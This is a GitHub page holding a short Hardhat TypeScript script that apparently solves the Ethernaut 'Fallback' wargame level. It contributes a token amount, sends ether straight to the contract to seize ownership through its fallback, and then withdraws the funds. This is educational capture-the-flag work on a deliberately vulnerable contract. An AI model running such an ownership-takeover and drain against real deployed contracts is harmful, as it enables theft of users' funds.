-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy path01-Fallback.ts
More file actions
33 lines (25 loc) · 760 Bytes
/
01-Fallback.ts
File metadata and controls
33 lines (25 loc) · 760 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import { ethers } from "hardhat";
const contractAddress = "0x66AB53bE9Bd7E142B1585Cc02cc67fcb3b23EDA4";
const contractName = "Fallback";
async function main() {
let tx;
const [attacker] = await ethers.getSigners();
const factory = await ethers.getContractFactory(contractName);
const contract = factory.attach(contractAddress);
// Contribute to appear in the `contributors` array
tx = await contract.contribute({ value: 1 });
await tx.wait();
// Take ownership of the contract
tx = await attacker.sendTransaction({
to: contract.address,
value: 1,
});
await tx.wait();
// Withdraw remaining eth
tx = await contract.withdraw();
await tx.wait();
}
main().catch(error => {
console.error(error);
process.exit(1);
});